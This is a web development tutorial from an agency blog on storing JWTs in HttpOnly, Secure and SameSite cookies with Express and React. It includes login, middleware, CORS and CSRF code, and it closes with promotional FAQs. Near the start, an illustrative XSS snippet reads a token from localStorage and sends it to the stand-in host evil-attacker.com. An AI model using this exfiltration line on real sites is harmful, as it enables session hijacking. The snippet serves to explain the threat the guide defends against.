TL;DR: Storing JWTs in
localStorageexposes your React applications to Cross-Site Scripting (XSS) token theft. This guide demonstrates how to secure your Express.js backend by issuing JWTs insideHttpOnly,Secure, andSameSitecookies instead. By delegating token transmission to the browser, you completely eliminate the need to expose sensitive authentication data to client-side JavaScript.
⚡ Key Takeaways
- Stop using
localStorage.setItem('token', jwt)to prevent XSS payloads from easily exfiltrating your users' authentication tokens. - Set the
HttpOnlyflag on yourSet-CookieHTTP header to physically block client-side JavaScript (document.cookie) from reading the JWT. - Apply
SameSite=StrictorSameSite=Laxcookie attributes to protect your backend against Cross-Site Request Forgery (CSRF) attacks. - Host your Express API on a subdomain (e.g.,
api.yourdomain.com) and React frontend on the root domain to safely utilizeSameSite=Laxwithout resorting to the insecureSameSite=None. - Implement an Express.js login controller that validates credentials with
bcrypt.compareand attaches the generated JWT directly to the response object as a secure cookie.
If you are currently storing JSON Web Tokens (JWTs) in localStorage or sessionStorage within your React application, your users' accounts are vulnerable.
Many web tutorials default to the localStorage.setItem('token', jwt) pattern because it is simple to implement. It makes attaching the token to subsequent API requests straightforward. However, this convenience comes at a massive security cost.
When you store tokens in standard web storage, they are completely accessible to the browser's JavaScript environment. If your application suffers from a Cross-Site Scripting (XSS) vulnerability—whether through an unescaped React prop, a compromised third-party analytics script, or a malicious NPM dependency—an attacker can instantly extract that token. Once they have the JWT, they can impersonate the user until the token expires, bypassing passwords and multi-factor authentication entirely.
The solution is to shift the responsibility of token transmission away from your JavaScript code and delegate it to the browser. By issuing the JWT inside an HttpOnly cookie, you physically prevent client-side scripts from reading the token.
In this guide, we will implement a production-grade authentication flow using Node.js, Express, and React, completely eliminating the need to store sensitive tokens in JavaScript memory.
The Problem: Why localStorage is a Security Nightmare
To understand why we need HttpOnly cookies, we first need to look at how easily localStorage can be compromised.
An XSS attack occurs when malicious JavaScript executes within your user's browser context. Because localStorage is globally accessible, a single line of injected code is all it takes to exfiltrate a JWT.
// An attacker injects this script via a compromised comment section
// or a poisoned NPM package.
const stolenToken = localStorage.getItem('token');
// The attacker silently sends your user's token to their own server
fetch(`https://evil-attacker.com/steal?token=${stolenToken}`, {
mode: 'no-cors'
});
Because traditional React authentication flows rely on reading this token to attach it to the Authorization: Bearer <token> header, the token must be accessible to JavaScript. This creates an unresolvable security flaw. You cannot use localStorage for sensitive authentication tokens without exposing your users to XSS theft.
The Anatomy of a Secure Cookie
To secure the JWT, the backend must send it to the client via a Set-Cookie HTTP header with specific security attributes. When configured correctly, the browser will save the cookie and automatically attach it to all future requests to your domain, but it will fiercely refuse to let JavaScript read it.
Here is what a production-ready cookie header looks like:
Set-Cookie: access_token=eyJhbGci...; Max-Age=3600; Path=/; HttpOnly; Secure; SameSite=Strict
Let’s break down these critical flags:
- HttpOnly: This is the most important flag. It strictly forbids JavaScript (
document.cookie) from accessing the cookie, completely mitigating XSS token theft. - Secure: Ensures the cookie is only transmitted over encrypted HTTPS connections. (Note: Modern browsers treat
localhostas a secure context, allowing this to work during local development). - SameSite: Protects against Cross-Site Request Forgery (CSRF) attacks by dictating whether the cookie should be sent with cross-origin requests.
Strictmeans it is only sent for first-party requests.Laxallows it for top-level navigations (like following a link from another site).
Production Tip: Never set
SameSite=Noneunless absolutely necessary (e.g., your API and frontend are on completely different root domains). If you do, theSecureflag is mandatory. For microservices or decoupled apps, host your API on a subdomain (api.yourdomain.com) and your frontend on the root (yourdomain.com) so you can safely utilizeSameSite=Lax.
Issuing the JWT and Setting the Cookie in Node.js
Let's build the Express.js login route. When a user authenticates successfully, we generate the JWT and attach it to the response object as an HttpOnly cookie.
At our backend development and API services division, separating token issuance from client access is a non-negotiable security baseline for all Node.js projects.
// controllers/auth.controller.js
const jwt = require('jsonwebtoken');
const bcrypt = require('bcrypt');
const User = require('../models/User'); // Assume a Mongoose/Prisma model
exports.login = async (req, res) => {
try {
const { email, password } = req.body;
// 1. Verify user exists
const user = await User.findOne({ email });
if (!user) {
return res.status(401).json({ message: 'Invalid credentials' });
}
// 2. Verify password
const isMatch = await bcrypt.compare(password, user.password);
if (!isMatch) {
return res.status(401).json({ message: 'Invalid credentials' });
}
// 3. Generate JWT
const token = jwt.sign(
{ userId: user._id, role: user.role },
process.env.JWT_SECRET,
{ expiresIn: '1h' }
);
// 4. Set the HttpOnly cookie
res.cookie('access_token', token, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production', // true in prod
sameSite: 'strict', // use 'lax' if frontend/backend are on different subdomains
maxAge: 60 * 60 * 1000, // 1 hour in milliseconds
path: '/',
});
// 5. Send generic success response (DO NOT send the token in the JSON body)
res.status(200).json({
user: { id: user._id, email: user.email, role: user.role }
});
} catch (error) {
console.error('Login error:', error);
res.status(500).json({ message: 'Internal server error' });
}
};
Notice that we return user metadata in the JSON response, but not the token itself. The token is exclusively transmitted via the Set-Cookie header.
Validating HttpOnly Cookies in Express Middleware
To protect restricted routes, your backend needs to read the incoming cookie. Because the browser attaches the cookie automatically, you no longer need to parse the Authorization: Bearer header.
You will need the cookie-parser middleware to read cookies easily in Express.
// middleware/auth.middleware.js
const jwt = require('jsonwebtoken');
exports.verifyToken = (req, res, next) => {
// Extract token from cookies using cookie-parser
const token = req.cookies.access_token;
if (!token) {
return res.status(401).json({ message: 'Authentication required. No token provided.' });
}
try {
// Verify the JWT payload
const decoded = jwt.verify(token, process.env.JWT_SECRET);
// Attach the decoded payload to the request object for use in controllers
req.user = decoded;
next();
} catch (error) {
// If token is expired or invalid, clear the cookie using identical options
res.clearCookie('access_token', {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
path: '/'
});
return res.status(403).json({ message: 'Invalid or expired token.' });
}
};
You apply this middleware to your protected routes like this:
// routes/user.routes.js
const express = require('express');
const { verifyToken } = require('../middleware/auth.middleware');
const { getUserProfile } = require('../controllers/user.controller');
const router = express.Router();
// The verifyToken middleware ensures the request has a valid HttpOnly cookie
router.get('/profile', verifyToken, getUserProfile);
module.exports = router;
Properly Destroying the Session (Logout)
Because the client cannot access the cookie, it cannot delete it. Logging out must be handled securely by the backend. When a user requests to log out, the server must overwrite the existing cookie with an expired one.
// controllers/auth.controller.js
exports.logout = (req, res) => {
// Overwrite the cookie with a past expiration date
res.clearCookie('access_token', {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
path: '/'
});
res.status(200).json({ message: 'Successfully logged out' });
};
Warning: The configuration object passed to
res.clearCookiemust exactly match the configuration used inres.cookie(excludingmaxAge). If you originally setpath: '/api'during login but try to clear it withpath: '/', the browser will fail to delete the cookie.
Configuring React and Axios for Cross-Origin Cookies
The biggest hurdle developers face when switching to cookies is Cross-Origin Resource Sharing (CORS). If your React app runs on http://localhost:3000 and your Express API runs on http://localhost:8000, the browser will block the cookies by default.
To resolve this, you must configure both the frontend HTTP client and the backend CORS policy to allow credentials.
1. The Express CORS Setup
Install the cors package and configure it to explicitly allow your frontend origin and accept credentials.
// server.js (Express Setup)
const express = require('express');
const cors = require('cors');
const cookieParser = require('cookie-parser');
const app = express();
app.use(cors({
origin: 'http://localhost:3000', // Explicitly state your frontend URL
credentials: true, // Crucial: allows cookies to be sent across origins
}));
app.use(express.json());
app.use(cookieParser()); // Crucial: parses incoming Cookie headers
2. The Axios Setup in React
If you are using fetch or axios in React, you must explicitly instruct it to include cookies with cross-origin requests. Without this flag, the browser will silently drop the cookie during API calls.
// src/api/axiosConfig.js
import axios from 'axios';
// Create a configured instance of Axios
const apiClient = axios.create({
baseURL: 'http://localhost:8000/api',
withCredentials: true, // Crucial: instructs browser to attach HttpOnly cookies
headers: {
'Content-Type': 'application/json',
},
});
export default apiClient;
From now on, use this apiClient instance for all authenticated requests. The browser will handle injecting the access_token cookie automatically.
Managing Authentication State in React
Here is the final puzzle piece: if React cannot read the JWT from document.cookie or localStorage, how does the UI know if the user is currently logged in?
You need a dedicated endpoint on your backend—often called /api/auth/me or /api/auth/verify—that checks the cookie's validity and returns the user's details.
// Express Route for fetching current user state
exports.getMe = async (req, res) => {
// The verifyToken middleware has already validated the cookie
// and attached req.user
const user = await User.findById(req.user.userId).select('-password');
res.status(200).json(user);
};
In React, you call this endpoint when the application mounts using a React Context.
// src/context/AuthContext.jsx
import React, { createContext, useState, useEffect } from 'react';
import apiClient from '../api/axiosConfig';
export const AuthContext = createContext(null);
export const AuthProvider = ({ children }) => {
const [user, setUser] = useState(null);
const [loading, setLoading] = useState(true);
// Check auth status on initial load
useEffect(() => {
const verifyAuth = async () => {
try {
const response = await apiClient.get('/auth/me');
setUser(response.data);
} catch (error) {
// Token is invalid, missing, or expired
setUser(null);
} finally {
setLoading(false);
}
};
verifyAuth();
}, []);
const login = async (email, password) => {
const response = await apiClient.post('/auth/login', { email, password });
setUser(response.data.user);
};
const logout = async () => {
await apiClient.post('/auth/logout');
setUser(null);
};
if (loading) return <div>Loading application...</div>;
return (
<AuthContext.Provider value={{ user, login, logout }}>
{children}
</AuthContext.Provider>
);
};
By storing the user data exclusively in React state (useState), it is cleared automatically if the user refreshes the page. When the page reloads, the useEffect quietly calls /auth/me to validate the HttpOnly cookie in the background and restore the session.
Mitigating CSRF Attacks (The Trade-off)
When you move from localStorage to cookies, you eliminate XSS vulnerabilities regarding token theft, but you open yourself up to Cross-Site Request Forgery (CSRF).
Because the browser attaches cookies automatically, a malicious website could include a hidden form that sends a POST request to your API (e.g., POST /api/transfer-funds). Because the user is authenticated, their browser attaches the HttpOnly cookie to that request, executing the action without their consent.
Fortunately, modern web standards provide robust defenses against CSRF.
1. Rely on SameSite Attributes
As mentioned earlier, setting SameSite=Strict or Lax on your cookie prevents the browser from attaching the cookie to cross-origin requests originating from malicious third-party sites.
// Express configuration reminder
res.cookie('access_token', token, {
sameSite: 'lax', // Protects against CSRF from entirely different domains
// ...other options
});
2. Implement CSRF Tokens (For High Security)
If your application architecture prevents you from using Strict SameSite policies (for instance, highly decoupled legacy systems across multiple domains), you should implement the Double Submit Cookie pattern.
In Express, you can use modern middleware like csrf-csrf (or similar maintained packages) to generate a unique token.
// Basic example of a manual Double-Submit CSRF check
exports.verifyCsrf = (req, res, next) => {
const csrfCookie = req.cookies['csrf_token']; // A non-HttpOnly cookie
const csrfHeader = req.headers['x-csrf-token']; // The header sent by Axios
if (!csrfCookie || !csrfHeader || csrfCookie !== csrfHeader) {
return res.status(403).json({ message: 'CSRF validation failed' });
}
next();
};
In this pattern, the server sets a secondary cookie that is not HttpOnly. The React frontend reads this secondary cookie and attaches it as a custom header (X-CSRF-Token). Since an attacker on a different domain cannot read the user's cookies (due to the Same-Origin Policy), they cannot attach the required custom header, and the CSRF attack fails.
Moving JWTs to HttpOnly cookies represents a significant step up in the security posture of your full-stack applications. While it requires slightly more configuration regarding CORS and state management, protecting your users from catastrophic XSS token exfiltration is entirely worth the effort.
Need help building this in production?
SoftwareCrafting is a full-stack dev agency — we ship fast, scalable React, Next.js, Node.js, React Native & Flutter apps for global clients.
Get a Free ConsultationFrequently Asked Questions
Why should I avoid storing JWTs in localStorage?
Storing JWTs in localStorage or sessionStorage makes them globally accessible to the browser's JavaScript environment. If your application suffers from a Cross-Site Scripting (XSS) vulnerability, attackers can easily execute a script to extract the token and impersonate the user. Relying on HttpOnly cookies prevents this by blocking client-side scripts from reading the token entirely.
How does an HttpOnly cookie protect my React application?
An HttpOnly cookie includes a specific flag in the Set-Cookie HTTP header that instructs the browser to hide the cookie from client-side scripts like document.cookie. This physically prevents malicious JavaScript from reading your JWT during an XSS attack. Instead of your React code manually attaching the token, the browser automatically and securely includes the cookie in subsequent API requests.
Which SameSite attribute should I use for my authentication cookies?
You should use SameSite=Strict if your frontend and backend share the exact same domain, as it provides the strongest protection against Cross-Site Request Forgery (CSRF). If your API is hosted on a subdomain (e.g., api.yourdomain.com) while your frontend is on the root domain, use SameSite=Lax. You should only use SameSite=None if your API and frontend reside on completely different root domains, and it must always be paired with the Secure flag.
Will the Secure cookie flag break my authentication during local development?
No, it will not break your local workflow. Modern web browsers treat localhost as a secure context, allowing cookies with the Secure flag to be set and transmitted even over unencrypted HTTP during local development. In production environments, this flag ensures the browser will only transmit the JWT over encrypted HTTPS connections.
What authentication standards do SoftwareCrafting services implement for Node.js APIs?
Our backend development and API services treat the separation of token issuance from client-side JavaScript access as a non-negotiable security baseline. SoftwareCrafting services ensure that all JWTs are issued exclusively via HttpOnly, Secure, and properly scoped SameSite cookies. This guarantees production-grade protection against XSS and CSRF vulnerabilities right out of the box.
Can SoftwareCrafting services help migrate my existing React app from localStorage to HttpOnly cookies?
Yes, SoftwareCrafting services specialize in auditing and refactoring vulnerable authentication flows in existing React and Node.js applications. We can seamlessly transition your architecture to use secure cookie headers, configure your CORS settings, and update your frontend API clients without disrupting your active user base.
📎 Full Code on GitHub Gist: The complete
xss-attack.jsfrom this post is available as a standalone GitHub Gist — copy, fork, or embed it directly.
